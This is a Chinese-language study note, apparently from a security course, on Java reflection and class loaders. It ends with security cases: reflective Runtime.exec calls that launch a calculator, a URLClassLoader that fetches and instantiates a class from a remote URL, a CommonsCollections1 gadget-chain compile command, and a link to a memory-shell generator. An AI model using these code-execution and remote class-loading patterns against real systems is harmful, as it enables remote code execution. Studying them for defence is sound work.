第44天:Web开发-JavaEE应用&反射机制&类加载器&利用链&成员变量&构造方法&抽象方法

#知识点
1、安全开发-JavaEE-类加载器&反射机制&链安全

2、安全开发-JavaEE-成员变量&成员方法&构造方法


补充:Maven配置

参考:https://blog.csdn.net/cxy2002cxy/article/details/144809310

一、什么是Java反射

参考:https://xz.aliyun.com/t/9117

Java提供了一套反射API,该API由Class类与java.lang.reflect类库组成。该类库包含了Field、Method、Constructor等类。对成员变量,成员方法和构造方法的信息进行的编程操作可以理解为反射机制。

二、为什么要用到反射

参考:https://xz.aliyun.com/t/9117

其实从官方定义中就能找到其存在的价值,在运行时获得程序或程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时。(不改变原有代码逻辑,自行运行的时候动态创建和编译即可)

三、反射机制应用(了解即可)

开发应用场景:

Spring框架的IOC基于反射创建对象和设置依赖属性。

SpringMVC的请求调用对应方法,也是通过反射。

JDBC的Class#forName(String className)方法,也是使用反射。

四、反射安全应用场景(重点熟记)

构造利用链,触发命令执行

反序列化中的利用链构造

动态获取或执行任意类中的属性或方法

动态代理的底层原理是反射技术

rmi反序列化也涉及到反射操作

五、Java-反射-Class对象类获取

1、根据类名:类名.class

Class userClass = User.class;

2、根据对象:对象.getClass()

User user = new User();//新建对象

Class aClass = user.getClass();

3、根据全限定类名:Class.forName("全路径类名")

Class aClass1 = Class.forName("com.user.User");

4、通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名");

ClassLoader clsload=ClassLoader.getSystemClassLoader();

Class aClass2 = clsload.loadClass("com.example.reflectdemo.User");

六、Java-反射-Field成员变量类获取

1、先获取class类对象,可用上面的四种方法

根据对象:对象.getClass()

User user = new User(); //新建对象

Class aClass = user.getClass();

2、获取公共成员变量对象

// Field\[\] fields=aClass.getFields();

// for(Field f:fields){

// System.out.println(f);

// }

3、获取所有成员变量对象

// Field\[\] fields=aClass.getDeclaredFields();

// for(Field f:fields){

// System.out.println(f);

// }

4、获取"单个"公共或私有成员变量对象

① Field field=aClass.getField("name");//获取单个公共成员变量

②Field field=aClass.getDeclaredField("address");//获取单个私有成员变量

// System.out.println(field);

5、成员变量值获取和赋值

①公共成员变量值的获取

②公共成员变量值的"赋值"

a、先获取class类的对象aClass

User user= new User();//新建对象

Class<? extends User> aClass = user.getClass();

b、对单个、公共成员变量"name"进行赋值修改

Field field=aClass.getField("name"); //先获取单个公共成员变量"name"->"field"

field.set(u,30);//赋值

Object a=field.get(u);//获取单个公共成员变量的值

System.out.println(a);//输出

七、Java-反射-Method成员方法类获取

1、先获取class类对象,可用上面的四种方法

根据对象:对象.getClass()

User user = new User(); //新建对象

Class aClass = user.getClass();

2、返回所有公共成员方法对象,包括继承的

// Method\[\] methods = aClass.getMethods();

// for (Method me:methods){

// System.out.println(me);

// }

3、返回所有成员方法对象的数组,不包括继承的

// Method\[\] methods = aClass.getDeclaredMethods();

// for (Method me:methods){

// System.out.println(me);

// }

4、返回单个公共成员方法对象

①无参数

// Method methods = aClass.getMethod("getName");

// System.out.println(methods);

②有参数

// Method methods = aClass.getMethod("setName", String.class);

// System.out.println(methods);

5、返回单个成员方法对象

// Method methods = aClass.getDeclaredMethod("UserInfo", String.class, int.class, String.class);

// System.out.println(methods);

6、运行方法invoke

①先获取class类对象

根据对象:对象.getClass()

User user = new User(); //新建对象->user

Class aClass = user.getClass();

②Method methods = aClass.getMethod("setName", String.class);

methods.setAccessible(true);//私有需要开启临时,解锁

methods.invoke(user,"xiaodi");->对象+赋值

Method getName = aClass.getMethod("getName");->获取值
System.out.println(getName.invoke(user));

八、Java-反射-Constructor构造方法类获取

1、先获取class类对象,可用上面的四种方法

根据对象:对象.getClass()

User user = new User(); //新建对象

Class aClass = user.getClass();

2、返回所有公共构造方法对象

Constructor\[\] constructors = aClass.getConstructors();

for(Constructor con:constructors){

System.out.println(con);

}

3、返回所有构造方法对象

Constructor\[\] constructors = aClass.getDeclaredConstructors();

for(Constructor con:constructors){

System.out.println(con);

}

4、返回单个公共(无参数)构造方法对象

Constructor con1=aClass.getConstructor();

Constructor con1=aClass.getConstructor(String.class);

System.out.println(con1);

5、返回单个公共(有参数)构造方法对象

Constructor con1=aClass.getConstructor(String.class....);

6、返回单个私有(有参数)构造方法对象

Constructor con2=aClass.getDeclaredConstructor(String.class,int.class, String.class);

System.out.println(con2);

7、为构造方法里面的属性修改赋值

/Constructor con2=aClass.getDeclaredConstructor(int.class);

// con2.setAccessible(true);

// User uu=(User) con2.newInstance("xiaodi",30,"man");

// System.out.println(uu);

九、Java-反射-不安全命令执行&类加载链构造

1、安全应用案例-反射实现命令执行

①原型命令->利用java实现->不涉及反射技术

Runtime.getRuntime().exec("calc");

②反射技术弹出计算器:

Class aClass = Class.forName("java.lang.Runtime");->获取class类对象

//Method\[\] methods = aClass.getMethods();

//for (Method me:methods){

//System.out.println(me);

//} ->用来查看获取的"所有成员方法"->看是否有exec,getRuntime方法

Method exec = aClass.getMethod("exec", String.class);->获取单个成员方法->exec

Method getRuntime = aClass.getMethod("getRuntime");->获取单个成员方法->getRuntime

Object runtime = getRuntime.invoke(aClass);

exec.invoke(runtime, "calc.exe");

以下为第二种写法:

Class c1= Class.forName("java.lang.Runtime");

Constructor m = c1.getDeclaredConstructor();

m.setAccessible(true);

c1.getMethod("exec", String.class).invoke(m.newInstance(), "calc");

2、安全应用案例-不安全的利用链((重要:目前能力只能理解部分)

指应用程序使用具有反射功能的外部输入来选择要使用的类或代码,

可能被攻击者利用而输入或选择不正确的类。绕过身份验证或访问控制检查

参考分析:https://zhuanlan.zhihu.com/p/165273855

CC1依赖类加载:

File file = new File("d:/");

URI uri = file.toURI();

URL url = uri.toURL();

URLClassLoader classLoader = new URLClassLoader(new URL\[\]{url});

Class clazz = classLoader.loadClass("cc1");

clazz.newInstance();

URL url = new URL("http://www.xiaodi8.com/");

URLClassLoader classLoader = new URLClassLoader(new URL\[\]{url});

Class clazz = classLoader.loadClass("cc1");

clazz.newInstance();

CC1.java利用链:(重要:目前能力只能理解部分)

javac -cp ".\commons-collections-3.1.jar;." .\cc1.java

利用结合:https://xz.aliyun.com/t/7031(反序列化利用链)

3、安全应用案例-内存马技术

演示生成项目:https://github.com/pen4uin/java-memshell-generator

生成:

源码查看:

总结:

a、搞清楚java反射技术中的获取class类对象、获取成员变量、获取成员方法、获取构造方法的操作以及invoke->操作时:都是以获取class类对象为开始

b、反射技术的意义:利用Java代码->获取&触发代码中或jar包中(依赖中)的东西->实现任意调取、任意利用

相关推荐
来杯@Java1 小时前
图书管理系统(基于springboot+vue前后端分离的项目)计算机毕业设计java
java·spring boot·spring·vue·毕业设计·mybatis·课程设计
卷毛的技术笔记2 小时前
告别硬编码!Spring AI Alibaba 实现 AI Agent 智能工具调用(Tool Calling)
java·人工智能·后端·python·spring·ai编程
编程大师哥2 小时前
匿名函数 lambda + 高阶函数
java·python·算法
isyangli_blog2 小时前
OpenDayLight (Carbon 版本) 启动与组件安装
开发语言·php
vb2008112 小时前
FastAPI APIRouter
开发语言·python
Benszen2 小时前
KVM虚拟化解决方案
开发语言·perl
会编程的土豆2 小时前
Go 语言反射(Reflection)详解
开发语言·后端·golang
東雪木2 小时前
多线程与并发编程 专属复习笔记
java·开发语言·笔记·java面试
adrninistrat0r2 小时前
Java调用链MCP分析工具
java·python·ai编程
杨充2 小时前
1.3 浮点型数据设计灵魂
开发语言·python·算法